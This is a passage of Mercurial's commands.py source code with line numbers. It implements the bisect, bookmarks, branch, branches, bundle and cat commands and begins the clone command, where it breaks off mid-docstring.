1006 1006 if cmd == b"good":
1007 1007 good = True
1008 1008 elif cmd == b"bad":
1009 1009 bad = True
1010 1010 else:
1011 1011 reset = True
1012 1012 elif positional_2:
1013 1013 raise error.InputError(_(b'incompatible arguments'))
1014 1014 elif positional_1 is not None:
1015 1015 rev.append(positional_1)
1016 1016
1017 1017 incompatibles = {
1018 1018 b'--bad': bad,
1019 1019 b'--command': bool(command),
1020 1020 b'--extend': extend,
1021 1021 b'--good': good,
1022 1022 b'--reset': reset,
1023 1023 b'--skip': skip,
1024 1024 }
1025 1025
1026 1026 enabled = [x for x in incompatibles if incompatibles[x]]
1027 1027
1028 1028 if len(enabled) > 1:
1029 1029 raise error.InputError(
1030 1030 _(b'%s and %s are incompatible') % tuple(sorted(enabled)[0:2])
1031 1031 )
1032 1032
1033 1033 if reset:
1034 1034 hbisect.resetstate(repo)
1035 1035 return
1036 1036
1037 1037 state = hbisect.load_state(repo)
1038 1038
1039 1039 if rev:
1040 1040 nodes = [repo[i].node() for i in logcmdutil.revrange(repo, rev)]
1041 1041 else:
1042 1042 nodes = [repo.lookup(b'.')]
1043 1043
1044 1044 # update state
1045 1045 if good or bad or skip:
1046 1046 if good:
1047 1047 state[b'good'] += nodes
1048 1048 elif bad:
1049 1049 state[b'bad'] += nodes
1050 1050 elif skip:
1051 1051 state[b'skip'] += nodes
1052 1052 hbisect.save_state(repo, state)
1053 1053 if not (state[b'good'] and state[b'bad']):
1054 1054 return
1055 1055
1056 1056 def mayupdate(repo, node, show_stats=True):
1057 1057 """common used update sequence"""
1058 1058 if noupdate:
1059 1059 return
1060 1060 cmdutil.checkunfinished(repo)
1061 1061 cmdutil.bailifchanged(repo)
1062 1062 return hg.clean(repo, node, show_stats=show_stats)
1063 1063
1064 1064 displayer = logcmdutil.changesetdisplayer(ui, repo, {})
1065 1065
1066 1066 if command:
1067 1067 changesets = 1
1068 1068 if noupdate:
1069 1069 try:
1070 1070 node = state[b'current'][0]
1071 1071 except LookupError:
1072 1072 raise error.StateError(
1073 1073 _(
1074 1074 b'current bisect revision is unknown - '
1075 1075 b'start a new bisect to fix'
1076 1076 )
1077 1077 )
1078 1078 else:
1079 1079 node, p2 = repo.dirstate.parents()
1080 1080 if p2 != repo.nullid:
1081 1081 raise error.StateError(_(b'current bisect revision is a merge'))
1082 1082 if rev:
1083 1083 if not nodes:
1084 1084 raise error.InputError(_(b'empty revision set'))
1085 1085 node = repo[nodes[-1]].node()
1086 1086 with hbisect.restore_state(repo, state, node):
1087 1087 while changesets:
1088 1088 # update state
1089 1089 state[b'current'] = [node]
1090 1090 hbisect.save_state(repo, state)
1091 1091 status = ui.system(
1092 1092 command,
1093 1093 environ={b'HG_NODE': hex(node)},
1094 1094 blockedtag=b'bisect_check',
1095 1095 )
1096 1096 if status == 125:
1097 1097 transition = b"skip"
1098 1098 elif status == 0:
1099 1099 transition = b"good"
1100 1100 # status < 0 means process was killed
1101 1101 elif status == 127:
1102 1102 raise error.Abort(_(b"failed to execute %s") % command)
1103 1103 elif status < 0:
1104 1104 raise error.Abort(_(b"%s killed") % command)
1105 1105 else:
1106 1106 transition = b"bad"
1107 1107 state[transition].append(node)
1108 1108 ctx = repo[node]
1109 1109 summary = cmdutil.format_changeset_summary(ui, ctx, b'bisect')
1110 1110 ui.status(_(b'changeset %s: %s\n') % (summary, transition))
1111 1111 hbisect.checkstate(state)
1112 1112 # bisect
1113 1113 nodes, changesets, bgood = hbisect.bisect(repo, state)
1114 1114 # update to next check
1115 1115 node = nodes[0]
1116 1116 mayupdate(repo, node, show_stats=False)
1117 1117 hbisect.printresult(ui, repo, state, displayer, nodes, bgood)
1118 1118 return
1119 1119
1120 1120 hbisect.checkstate(state)
1121 1121
1122 1122 # actually bisect
1123 1123 nodes, changesets, good = hbisect.bisect(repo, state)
1124 1124 if extend:
1125 1125 if not changesets:
1126 1126 extendctx = hbisect.extendrange(repo, state, nodes, good)
1127 1127 if extendctx is not None:
1128 1128 ui.write(
1129 1129 _(b"Extending search to changeset %s\n")
1130 1130 % cmdutil.format_changeset_summary(ui, extendctx, b'bisect')
1131 1131 )
1132 1132 state[b'current'] = [extendctx.node()]
1133 1133 hbisect.save_state(repo, state)
1134 1134 return mayupdate(repo, extendctx.node())
1135 1135 raise error.StateError(_(b"nothing to extend"))
1136 1136
1137 1137 if changesets == 0:
1138 1138 hbisect.printresult(ui, repo, state, displayer, nodes, good)
1139 1139 else:
1140 1140 assert len(nodes) == 1 # only a single node can be tested next
1141 1141 node = nodes[0]
1142 1142 # compute the approximate number of remaining tests
1143 1143 tests, size = 0, 2
1144 1144 while size <= changesets:
1145 1145 tests, size = tests + 1, size * 2
1146 1146 rev = repo.changelog.rev(node)
1147 1147 summary = cmdutil.format_changeset_summary(ui, repo[rev], b'bisect')
1148 1148 ui.write(
1149 1149 _(
1150 1150 b"Testing changeset %s "
1151 1151 b"(%d changesets remaining, ~%d tests)\n"
1152 1152 )
1153 1153 % (summary, changesets, tests)
1154 1154 )
1155 1155 state[b'current'] = [node]
1156 1156 hbisect.save_state(repo, state)
1157 1157 return mayupdate(repo, node)
1158 1158
1159 1159
1160 1160 @command(
1161 1161 b'bookmarks|bookmark',
1162 1162 [
1163 1163 (b'f', b'force', False, _(b'force')),
1164 1164 (b'r', b'rev', b'', _(b'revision for bookmark action'), _(b'REV')),
1165 1165 (b'd', b'delete', False, _(b'delete a given bookmark')),
1166 1166 (b'm', b'rename', b'', _(b'rename a given bookmark'), _(b'OLD')),
1167 1167 (b'i', b'inactive', False, _(b'mark a bookmark inactive')),
1168 1168 (b'l', b'list', False, _(b'list existing bookmarks')),
1169 1169 ]
1170 1170 + formatteropts,
1171 1171 _(b'hg bookmarks [OPTIONS]... [NAME]...'),
1172 1172 helpcategory=command.CATEGORY_CHANGE_ORGANIZATION,
1173 1173 )
1174 1174 def bookmark(ui, repo, *names, **opts):
1175 1175 """create a new bookmark or list existing bookmarks
1176 1176
1177 1177 Bookmarks are labels on changesets to help track lines of development.
1178 1178 Bookmarks are unversioned and can be moved, renamed and deleted.
1179 1179 Deleting or moving a bookmark has no effect on the associated changesets.
1180 1180
1181 1181 Creating or updating to a bookmark causes it to be marked as 'active'.
1182 1182 The active bookmark is indicated with a '*'.
1183 1183 When a commit is made, the active bookmark will advance to the new commit.
1184 1184 A plain :hg:`update` will also advance an active bookmark, if possible.
1185 1185 Updating away from a bookmark will cause it to be deactivated.
1186 1186
1187 1187 Bookmarks can be pushed and pulled between repositories (see
1188 1188 :hg:`help push` and :hg:`help pull`). If a shared bookmark has
1189 1189 diverged, a new 'divergent bookmark' of the form 'name@path' will
1190 1190 be created. Using :hg:`merge` will resolve the divergence.
1191 1191
1192 1192 Specifying bookmark as '.' to -m/-d/-l options is equivalent to specifying
1193 1193 the active bookmark's name.
1194 1194
1195 1195 A bookmark named '@' has the special property that :hg:`clone` will
1196 1196 check it out by default if it exists.
1197 1197
1198 1198 .. container:: verbose
1199 1199
1200 1200 Template:
1201 1201
1202 1202 The following keywords are supported in addition to the common template
1203 1203 keywords and functions such as ``{bookmark}``. See also
1204 1204 :hg:`help templates`.
1205 1205
1206 1206 :active: Boolean. True if the bookmark is active.
1207 1207
1208 1208 Examples:
1209 1209
1210 1210 - create an active bookmark for a new line of development::
1211 1211
1212 1212 hg book new-feature
1213 1213
1214 1214 - create an inactive bookmark as a place marker::
1215 1215
1216 1216 hg book -i reviewed
1217 1217
1218 1218 - create an inactive bookmark on another changeset::
1219 1219
1220 1220 hg book -r .^ tested
1221 1221
1222 1222 - rename bookmark turkey to dinner::
1223 1223
1224 1224 hg book -m turkey dinner
1225 1225
1226 1226 - move the '@' bookmark from another branch::
1227 1227
1228 1228 hg book -f @
1229 1229
1230 1230 - print only the active bookmark name::
1231 1231
1232 1232 hg book -ql .
1233 1233 """
1234 1234 opts = pycompat.byteskwargs(opts)
1235 1235 force = opts.get(b'force')
1236 1236 rev = opts.get(b'rev')
1237 1237 inactive = opts.get(b'inactive') # meaning add/rename to inactive bookmark
1238 1238
1239 1239 action = cmdutil.check_at_most_one_arg(opts, b'delete', b'rename', b'list')
1240 1240 if action:
1241 1241 cmdutil.check_incompatible_arguments(opts, action, [b'rev'])
1242 1242 elif names or rev:
1243 1243 action = b'add'
1244 1244 elif inactive:
1245 1245 action = b'inactive' # meaning deactivate
1246 1246 else:
1247 1247 action = b'list'
1248 1248
1249 1249 cmdutil.check_incompatible_arguments(
1250 1250 opts, b'inactive', [b'delete', b'list']
1251 1251 )
1252 1252 if not names and action in {b'add', b'delete'}:
1253 1253 raise error.InputError(_(b"bookmark name required"))
1254 1254
1255 1255 if action in {b'add', b'delete', b'rename', b'inactive'}:
1256 1256 with repo.wlock(), repo.lock(), repo.transaction(b'bookmark') as tr:
1257 1257 if action == b'delete':
1258 1258 names = pycompat.maplist(repo._bookmarks.expandname, names)
1259 1259 bookmarks.delete(repo, tr, names)
1260 1260 elif action == b'rename':
1261 1261 if not names:
1262 1262 raise error.InputError(_(b"new bookmark name required"))
1263 1263 elif len(names) > 1:
1264 1264 raise error.InputError(
1265 1265 _(b"only one new bookmark name allowed")
1266 1266 )
1267 1267 oldname = repo._bookmarks.expandname(opts[b'rename'])
1268 1268 bookmarks.rename(repo, tr, oldname, names[0], force, inactive)
1269 1269 elif action == b'add':
1270 1270 bookmarks.addbookmarks(repo, tr, names, rev, force, inactive)
1271 1271 elif action == b'inactive':
1272 1272 if len(repo._bookmarks) == 0:
1273 1273 ui.status(_(b"no bookmarks set\n"))
1274 1274 elif not repo._activebookmark:
1275 1275 ui.status(_(b"no active bookmark\n"))
1276 1276 else:
1277 1277 bookmarks.deactivate(repo)
1278 1278 elif action == b'list':
1279 1279 names = pycompat.maplist(repo._bookmarks.expandname, names)
1280 1280 with ui.formatter(b'bookmarks', opts) as fm:
1281 1281 bookmarks.printbookmarks(ui, repo, fm, names)
1282 1282 else:
1283 1283 raise error.ProgrammingError(b'invalid action: %s' % action)
1284 1284
1285 1285
1286 1286 @command(
1287 1287 b'branch',
1288 1288 [
1289 1289 (
1290 1290 b'f',
1291 1291 b'force',
1292 1292 None,
1293 1293 _(b'set branch name even if it shadows an existing branch'),
1294 1294 ),
1295 1295 (b'C', b'clean', None, _(b'reset branch name to parent branch name')),
1296 1296 (
1297 1297 b'r',
1298 1298 b'rev',
1299 1299 [],
1300 1300 _(b'change branches of the given revs (EXPERIMENTAL)'),
1301 1301 ),
1302 1302 ],
1303 1303 _(b'[-fC] [NAME]'),
1304 1304 helpcategory=command.CATEGORY_CHANGE_ORGANIZATION,
1305 1305 )
1306 1306 def branch(ui, repo, label=None, **opts):
1307 1307 """set or show the current branch name
1308 1308
1309 1309 .. note::
1310 1310
1311 1311 Branch names are permanent and global. Use :hg:`bookmark` to create a
1312 1312 light-weight bookmark instead. See :hg:`help glossary` for more
1313 1313 information about named branches and bookmarks.
1314 1314
1315 1315 With no argument, show the current branch name. With one argument,
1316 1316 set the working directory branch name (the branch will not exist
1317 1317 in the repository until the next commit). Standard practice
1318 1318 recommends that primary development take place on the 'default'
1319 1319 branch.
1320 1320
1321 1321 Unless -f/--force is specified, branch will not let you set a
1322 1322 branch name that already exists.
1323 1323
1324 1324 Use -C/--clean to reset the working directory branch to that of
1325 1325 the parent of the working directory, negating a previous branch
1326 1326 change.
1327 1327
1328 1328 Use the command :hg:`update` to switch to an existing branch. Use
1329 1329 :hg:`commit --close-branch` to mark this branch head as closed.
1330 1330 When all heads of a branch are closed, the branch will be
1331 1331 considered closed.
1332 1332
1333 1333 Returns 0 on success.
1334 1334 """
1335 1335 opts = pycompat.byteskwargs(opts)
1336 1336 revs = opts.get(b'rev')
1337 1337 if label:
1338 1338 label = label.strip()
1339 1339
1340 1340 if not opts.get(b'clean') and not label:
1341 1341 if revs:
1342 1342 raise error.InputError(
1343 1343 _(b"no branch name specified for the revisions")
1344 1344 )
1345 1345 ui.write(b"%s\n" % repo.dirstate.branch())
1346 1346 return
1347 1347
1348 1348 with repo.wlock():
1349 1349 if opts.get(b'clean'):
1350 1350 label = repo[b'.'].branch()
1351 1351 repo.dirstate.setbranch(label)
1352 1352 ui.status(_(b'reset working directory to branch %s\n') % label)
1353 1353 elif label:
1354 1354
1355 1355 scmutil.checknewlabel(repo, label, b'branch')
1356 1356 if revs:
1357 1357 return cmdutil.changebranch(ui, repo, revs, label, opts)
1358 1358
1359 1359 if not opts.get(b'force') and label in repo.branchmap():
1360 1360 if label not in [p.branch() for p in repo[None].parents()]:
1361 1361 raise error.InputError(
1362 1362 _(b'a branch of the same name already exists'),
1363 1363 # i18n: "it" refers to an existing branch
1364 1364 hint=_(b"use 'hg update' to switch to it"),
1365 1365 )
1366 1366
1367 1367 repo.dirstate.setbranch(label)
1368 1368 ui.status(_(b'marked working directory as branch %s\n') % label)
1369 1369
1370 1370 # find any open named branches aside from default
1371 1371 for n, h, t, c in repo.branchmap().iterbranches():
1372 1372 if n != b"default" and not c:
1373 1373 return 0
1374 1374 ui.status(
1375 1375 _(
1376 1376 b'(branches are permanent and global, '
1377 1377 b'did you want a bookmark?)\n'
1378 1378 )
1379 1379 )
1380 1380
1381 1381
1382 1382 @command(
1383 1383 b'branches',
1384 1384 [
1385 1385 (
1386 1386 b'a',
1387 1387 b'active',
1388 1388 False,
1389 1389 _(b'show only branches that have unmerged heads (DEPRECATED)'),
1390 1390 ),
1391 1391 (b'c', b'closed', False, _(b'show normal and closed branches')),
1392 1392 (b'r', b'rev', [], _(b'show branch name(s) of the given rev')),
1393 1393 ]
1394 1394 + formatteropts,
1395 1395 _(b'[-c]'),
1396 1396 helpcategory=command.CATEGORY_CHANGE_ORGANIZATION,
1397 1397 intents={INTENT_READONLY},
1398 1398 )
1399 1399 def branches(ui, repo, active=False, closed=False, **opts):
1400 1400 """list repository named branches
1401 1401
1402 1402 List the repository's named branches, indicating which ones are
1403 1403 inactive. If -c/--closed is specified, also list branches which have
1404 1404 been marked closed (see :hg:`commit --close-branch`).
1405 1405
1406 1406 Use the command :hg:`update` to switch to an existing branch.
1407 1407
1408 1408 .. container:: verbose
1409 1409
1410 1410 Template:
1411 1411
1412 1412 The following keywords are supported in addition to the common template
1413 1413 keywords and functions such as ``{branch}``. See also
1414 1414 :hg:`help templates`.
1415 1415
1416 1416 :active: Boolean. True if the branch is active.
1417 1417 :closed: Boolean. True if the branch is closed.
1418 1418 :current: Boolean. True if it is the current branch.
1419 1419
1420 1420 Returns 0.
1421 1421 """
1422 1422
1423 1423 opts = pycompat.byteskwargs(opts)
1424 1424 revs = opts.get(b'rev')
1425 1425 selectedbranches = None
1426 1426 if revs:
1427 1427 revs = logcmdutil.revrange(repo, revs)
1428 1428 getbi = repo.revbranchcache().branchinfo
1429 1429 selectedbranches = {getbi(r)[0] for r in revs}
1430 1430
1431 1431 ui.pager(b'branches')
1432 1432 fm = ui.formatter(b'branches', opts)
1433 1433 hexfunc = fm.hexfunc
1434 1434
1435 1435 allheads = set(repo.heads())
1436 1436 branches = []
1437 1437 for tag, heads, tip, isclosed in repo.branchmap().iterbranches():
1438 1438 if selectedbranches is not None and tag not in selectedbranches:
1439 1439 continue
1440 1440 isactive = False
1441 1441 if not isclosed:
1442 1442 openheads = set(repo.branchmap().iteropen(heads))
1443 1443 isactive = bool(openheads & allheads)
1444 1444 branches.append((tag, repo[tip], isactive, not isclosed))
1445 1445 branches.sort(key=lambda i: (i[2], i[1].rev(), i[0], i[3]), reverse=True)
1446 1446
1447 1447 for tag, ctx, isactive, isopen in branches:
1448 1448 if active and not isactive:
1449 1449 continue
1450 1450 if isactive:
1451 1451 label = b'branches.active'
1452 1452 notice = b''
1453 1453 elif not isopen:
1454 1454 if not closed:
1455 1455 continue
1456 1456 label = b'branches.closed'
1457 1457 notice = _(b' (closed)')
1458 1458 else:
1459 1459 label = b'branches.inactive'
1460 1460 notice = _(b' (inactive)')
1461 1461 current = tag == repo.dirstate.branch()
1462 1462 if current:
1463 1463 label = b'branches.current'
1464 1464
1465 1465 fm.startitem()
1466 1466 fm.write(b'branch', b'%s', tag, label=label)
1467 1467 rev = ctx.rev()
1468 1468 padsize = max(31 - len(b"%d" % rev) - encoding.colwidth(tag), 0)
1469 1469 fmt = b' ' * padsize + b' %d:%s'
1470 1470 fm.condwrite(
1471 1471 not ui.quiet,
1472 1472 b'rev node',
1473 1473 fmt,
1474 1474 rev,
1475 1475 hexfunc(ctx.node()),
1476 1476 label=b'log.changeset changeset.%s' % ctx.phasestr(),
1477 1477 )
1478 1478 fm.context(ctx=ctx)
1479 1479 fm.data(active=isactive, closed=not isopen, current=current)
1480 1480 if not ui.quiet:
1481 1481 fm.plain(notice)
1482 1482 fm.plain(b'\n')
1483 1483 fm.end()
1484 1484
1485 1485
1486 1486 @command(
1487 1487 b'bundle',
1488 1488 [
1489 1489 (
1490 1490 b'f',
1491 1491 b'force',
1492 1492 None,
1493 1493 _(b'run even when the destination is unrelated'),
1494 1494 ),
1495 1495 (
1496 1496 b'r',
1497 1497 b'rev',
1498 1498 [],
1499 1499 _(b'a changeset intended to be added to the destination'),
1500 1500 _(b'REV'),
1501 1501 ),
1502 1502 (
1503 1503 b'b',
1504 1504 b'branch',
1505 1505 [],
1506 1506 _(b'a specific branch you would like to bundle'),
1507 1507 _(b'BRANCH'),
1508 1508 ),
1509 1509 (
1510 1510 b'',
1511 1511 b'base',
1512 1512 [],
1513 1513 _(b'a base changeset assumed to be available at the destination'),
1514 1514 _(b'REV'),
1515 1515 ),
1516 1516 (b'a', b'all', None, _(b'bundle all changesets in the repository')),
1517 1517 (
1518 1518 b't',
1519 1519 b'type',
1520 1520 b'bzip2',
1521 1521 _(b'bundle compression type to use'),
1522 1522 _(b'TYPE'),
1523 1523 ),
1524 1524 ]
1525 1525 + remoteopts,
1526 1526 _(b'[-f] [-t BUNDLESPEC] [-a] [-r REV]... [--base REV]... FILE [DEST]...'),
1527 1527 helpcategory=command.CATEGORY_IMPORT_EXPORT,
1528 1528 )
1529 1529 def bundle(ui, repo, fname, *dests, **opts):
1530 1530 """create a bundle file
1531 1531
1532 1532 Generate a bundle file containing data to be transferred to another
1533 1533 repository.
1534 1534
1535 1535 To create a bundle containing all changesets, use -a/--all
1536 1536 (or --base null). Otherwise, hg assumes the destination will have
1537 1537 all the nodes you specify with --base parameters. Otherwise, hg
1538 1538 will assume the repository has all the nodes in destination, or
1539 1539 default-push/default if no destination is specified, where destination
1540 1540 is the repositories you provide through DEST option.
1541 1541
1542 1542 You can change bundle format with the -t/--type option. See
1543 1543 :hg:`help bundlespec` for documentation on this format. By default,
1544 1544 the most appropriate format is used and compression defaults to
1545 1545 bzip2.
1546 1546
1547 1547 The bundle file can then be transferred using conventional means
1548 1548 and applied to another repository with the unbundle or pull
1549 1549 command. This is useful when direct push and pull are not
1550 1550 available or when exporting an entire repository is undesirable.
1551 1551
1552 1552 Applying bundles preserves all changeset contents including
1553 1553 permissions, copy/rename information, and revision history.
1554 1554
1555 1555 Returns 0 on success, 1 if no changes found.
1556 1556 """
1557 1557 opts = pycompat.byteskwargs(opts)
1558 1558 revs = None
1559 1559 if b'rev' in opts:
1560 1560 revstrings = opts[b'rev']
1561 1561 revs = logcmdutil.revrange(repo, revstrings)
1562 1562 if revstrings and not revs:
1563 1563 raise error.InputError(_(b'no commits to bundle'))
1564 1564
1565 1565 bundletype = opts.get(b'type', b'bzip2').lower()
1566 1566 try:
1567 1567 bundlespec = bundlecaches.parsebundlespec(
1568 1568 repo, bundletype, strict=False
1569 1569 )
1570 1570 except error.UnsupportedBundleSpecification as e:
1571 1571 raise error.InputError(
1572 1572 pycompat.bytestr(e),
1573 1573 hint=_(b"see 'hg help bundlespec' for supported values for --type"),
1574 1574 )
1575 1575 cgversion = bundlespec.contentopts[b"cg.version"]
1576 1576
1577 1577 # Packed bundles are a pseudo bundle format for now.
1578 1578 if cgversion == b's1':
1579 1579 raise error.InputError(
1580 1580 _(b'packed bundles cannot be produced by "hg bundle"'),
1581 1581 hint=_(b"use 'hg debugcreatestreamclonebundle'"),
1582 1582 )
1583 1583
1584 1584 if opts.get(b'all'):
1585 1585 if dests:
1586 1586 raise error.InputError(
1587 1587 _(b"--all is incompatible with specifying destinations")
1588 1588 )
1589 1589 if opts.get(b'base'):
1590 1590 ui.warn(_(b"ignoring --base because --all was specified\n"))
1591 1591 base = [nullrev]
1592 1592 else:
1593 1593 base = logcmdutil.revrange(repo, opts.get(b'base'))
1594 1594 if cgversion not in changegroup.supportedoutgoingversions(repo):
1595 1595 raise error.Abort(
1596 1596 _(b"repository does not support bundle version %s") % cgversion
1597 1597 )
1598 1598
1599 1599 if base:
1600 1600 if dests:
1601 1601 raise error.InputError(
1602 1602 _(b"--base is incompatible with specifying destinations")
1603 1603 )
1604 1604 common = [repo[rev].node() for rev in base]
1605 1605 heads = [repo[r].node() for r in revs] if revs else None
1606 1606 outgoing = discovery.outgoing(repo, common, heads)
1607 1607 missing = outgoing.missing
1608 1608 excluded = outgoing.excluded
1609 1609 else:
1610 1610 missing = set()
1611 1611 excluded = set()
1612 1612 for path in urlutil.get_push_paths(repo, ui, dests):
1613 1613 other = hg.peer(repo, opts, path.rawloc)
1614 1614 if revs is not None:
1615 1615 hex_revs = [repo[r].hex() for r in revs]
1616 1616 else:
1617 1617 hex_revs = None
1618 1618 branches = (path.branch, [])
1619 1619 head_revs, checkout = hg.addbranchrevs(
1620 1620 repo, repo, branches, hex_revs
1621 1621 )
1622 1622 heads = (
1623 1623 head_revs
1624 1624 and pycompat.maplist(repo.lookup, head_revs)
1625 1625 or head_revs
1626 1626 )
1627 1627 outgoing = discovery.findcommonoutgoing(
1628 1628 repo,
1629 1629 other,
1630 1630 onlyheads=heads,
1631 1631 force=opts.get(b'force'),
1632 1632 portable=True,
1633 1633 )
1634 1634 missing.update(outgoing.missing)
1635 1635 excluded.update(outgoing.excluded)
1636 1636
1637 1637 if not missing:
1638 1638 scmutil.nochangesfound(ui, repo, not base and excluded)
1639 1639 return 1
1640 1640
1641 1641 if heads:
1642 1642 outgoing = discovery.outgoing(
1643 1643 repo, missingroots=missing, ancestorsof=heads
1644 1644 )
1645 1645 else:
1646 1646 outgoing = discovery.outgoing(repo, missingroots=missing)
1647 1647 outgoing.excluded = sorted(excluded)
1648 1648
1649 1649 if cgversion == b'01': # bundle1
1650 1650 bversion = b'HG10' + bundlespec.wirecompression
1651 1651 bcompression = None
1652 1652 elif cgversion in (b'02', b'03'):
1653 1653 bversion = b'HG20'
1654 1654 bcompression = bundlespec.wirecompression
1655 1655 else:
1656 1656 raise error.ProgrammingError(
1657 1657 b'bundle: unexpected changegroup version %s' % cgversion
1658 1658 )
1659 1659
1660 1660 # TODO compression options should be derived from bundlespec parsing.
1661 1661 # This is a temporary hack to allow adjusting bundle compression
1662 1662 # level without a) formalizing the bundlespec changes to declare it
1663 1663 # b) introducing a command flag.
1664 1664 compopts = {}
1665 1665 complevel = ui.configint(
1666 1666 b'experimental', b'bundlecomplevel.' + bundlespec.compression
1667 1667 )
1668 1668 if complevel is None:
1669 1669 complevel = ui.configint(b'experimental', b'bundlecomplevel')
1670 1670 if complevel is not None:
1671 1671 compopts[b'level'] = complevel
1672 1672
1673 1673 compthreads = ui.configint(
1674 1674 b'experimental', b'bundlecompthreads.' + bundlespec.compression
1675 1675 )
1676 1676 if compthreads is None:
1677 1677 compthreads = ui.configint(b'experimental', b'bundlecompthreads')
1678 1678 if compthreads is not None:
1679 1679 compopts[b'threads'] = compthreads
1680 1680
1681 1681 # Bundling of obsmarker and phases is optional as not all clients
1682 1682 # support the necessary features.
1683 1683 cfg = ui.configbool
1684 1684 contentopts = {
1685 1685 b'obsolescence': cfg(b'experimental', b'evolution.bundle-obsmarker'),
1686 1686 b'obsolescence-mandatory': cfg(
1687 1687 b'experimental', b'evolution.bundle-obsmarker:mandatory'
1688 1688 ),
1689 1689 b'phases': cfg(b'experimental', b'bundle-phases'),
1690 1690 }
1691 1691 bundlespec.contentopts.update(contentopts)
1692 1692
1693 1693 bundle2.writenewbundle(
1694 1694 ui,
1695 1695 repo,
1696 1696 b'bundle',
1697 1697 fname,
1698 1698 bversion,
1699 1699 outgoing,
1700 1700 bundlespec.contentopts,
1701 1701 compression=bcompression,
1702 1702 compopts=compopts,
1703 1703 )
1704 1704
1705 1705
1706 1706 @command(
1707 1707 b'cat',
1708 1708 [
1709 1709 (
1710 1710 b'o',
1711 1711 b'output',
1712 1712 b'',
1713 1713 _(b'print output to file with formatted name'),
1714 1714 _(b'FORMAT'),
1715 1715 ),
1716 1716 (b'r', b'rev', b'', _(b'print the given revision'), _(b'REV')),
1717 1717 (b'', b'decode', None, _(b'apply any matching decode filter')),
1718 1718 ]
1719 1719 + walkopts
1720 1720 + formatteropts,
1721 1721 _(b'[OPTION]... FILE...'),
1722 1722 helpcategory=command.CATEGORY_FILE_CONTENTS,
1723 1723 inferrepo=True,
1724 1724 intents={INTENT_READONLY},
1725 1725 )
1726 1726 def cat(ui, repo, file1, *pats, **opts):
1727 1727 """output the current or given revision of files
1728 1728
1729 1729 Print the specified files as they were at the given revision. If
1730 1730 no revision is given, the parent of the working directory is used.
1731 1731
1732 1732 Output may be to a file, in which case the name of the file is
1733 1733 given using a template string. See :hg:`help templates`. In addition
1734 1734 to the common template keywords, the following formatting rules are
1735 1735 supported:
1736 1736
1737 1737 :``%%``: literal "%" character
1738 1738 :``%s``: basename of file being printed
1739 1739 :``%d``: dirname of file being printed, or '.' if in repository root
1740 1740 :``%p``: root-relative path name of file being printed
1741 1741 :``%H``: changeset hash (40 hexadecimal digits)
1742 1742 :``%R``: changeset revision number
1743 1743 :``%h``: short-form changeset hash (12 hexadecimal digits)
1744 1744 :``%r``: zero-padded changeset revision number
1745 1745 :``%b``: basename of the exporting repository
1746 1746 :``\\``: literal "\\" character
1747 1747
1748 1748 .. container:: verbose
1749 1749
1750 1750 Template:
1751 1751
1752 1752 The following keywords are supported in addition to the common template
1753 1753 keywords and functions. See also :hg:`help templates`.
1754 1754
1755 1755 :data: String. File content.
1756 1756 :path: String. Repository-absolute path of the file.
1757 1757
1758 1758 Returns 0 on success.
1759 1759 """
1760 1760 opts = pycompat.byteskwargs(opts)
1761 1761 rev = opts.get(b'rev')
1762 1762 if rev:
1763 1763 repo = scmutil.unhidehashlikerevs(repo, [rev], b'nowarn')
1764 1764 ctx = logcmdutil.revsingle(repo, rev)
1765 1765 m = scmutil.match(ctx, (file1,) + pats, opts)
1766 1766 fntemplate = opts.pop(b'output', b'')
1767 1767 if cmdutil.isstdiofilename(fntemplate):
1768 1768 fntemplate = b''
1769 1769
1770 1770 if fntemplate:
1771 1771 fm = formatter.nullformatter(ui, b'cat', opts)
1772 1772 else:
1773 1773 ui.pager(b'cat')
1774 1774 fm = ui.formatter(b'cat', opts)
1775 1775 with fm:
1776 1776 return cmdutil.cat(
1777 1777 ui, repo, ctx, m, fm, fntemplate, b'', **pycompat.strkwargs(opts)
1778 1778 )
1779 1779
1780 1780
1781 1781 @command(
1782 1782 b'clone',
1783 1783 [
1784 1784 (
1785 1785 b'U',
1786 1786 b'noupdate',
1787 1787 None,
1788 1788 _(
1789 1789 b'the clone will include an empty working '
1790 1790 b'directory (only a repository)'
1791 1791 ),
1792 1792 ),
1793 1793 (
1794 1794 b'u',
1795 1795 b'updaterev',
1796 1796 b'',
1797 1797 _(b'revision, tag, or branch to check out'),
1798 1798 _(b'REV'),
1799 1799 ),
1800 1800 (
1801 1801 b'r',
1802 1802 b'rev',
1803 1803 [],
1804 1804 _(
1805 1805 b'do not clone everything, but include this changeset'
1806 1806 b' and its ancestors'
1807 1807 ),
1808 1808 _(b'REV'),
1809 1809 ),
1810 1810 (
1811 1811 b'b',
1812 1812 b'branch',
1813 1813 [],
1814 1814 _(
1815 1815 b'do not clone everything, but include this branch\'s'
1816 1816 b' changesets and their ancestors'
1817 1817 ),
1818 1818 _(b'BRANCH'),
1819 1819 ),
1820 1820 (b'', b'pull', None, _(b'use pull protocol to copy metadata')),
1821 1821 (b'', b'uncompressed', None, _(b'an alias to --stream (DEPRECATED)')),
1822 1822 (b'', b'stream', None, _(b'clone with minimal data processing')),
1823 1823 ]
1824 1824 + remoteopts,
1825 1825 _(b'[OPTION]... SOURCE [DEST]'),
1826 1826 helpcategory=command.CATEGORY_REPO_CREATION,
1827 1827 helpbasic=True,
1828 1828 norepo=True,
1829 1829 )
1830 1830 def clone(ui, source, dest=None, **opts):
1831 1831 """make a copy of an existing repository
1832 1832
1833 1833 Create a copy of an existing repository in a new directory.
1834 1834
1835 1835 If no destination directory name is specified, it defaults to the
1836 1836 basename of the source.
1837 1837
1838 1838 The location of the source is added to the new repository's
1839 1839 ``.hg/hgrc`` file, as the default to be used for future pulls.
1840 1840
1841 1841 Only local paths and ``ssh://`` URLs are supported as
1842 1842 destinations. For ``ssh://`` destinations, no working directory or
1843 1843 ``.hg/hgrc`` will be created on the remote side.
1844 1844
1845 1845 If the source repository has a bookmark called '@' set, that
1846 1846 revision will be checked out in the new repository by default.
1847 1847
1848 1848 To check out a particular version, use -u/--update, or
1849 1849 -U/--noupdate to create a clone with no working directory.
1850 1850
1851 1851 To pull only a subset of changesets, specify one or more revisions
1852 1852 identifiers with -r/--rev or branches with -b/--branch. The
1853 1853 resulting clone will contain only the specified changesets and
1854 1854 their ancestors. These options (or 'clone src#rev dest') imply
1855 1855 --pull, even for local source repositories.
1856 1856
1857 1857 In normal clone mode, the remote normalizes repository data into a common
1858 1858 exchange format and the receiving end translates this data into its local
1859 1859 storage format. --stream activates a different clone mode that essentially
1860 1860 copies repository files from the remote with minimal data processing. This
1861 1861 significantly reduces the CPU cost of a clone both remotely and locally.
1862 1862 However, it often increases the transferred data size by 30-40%. This can
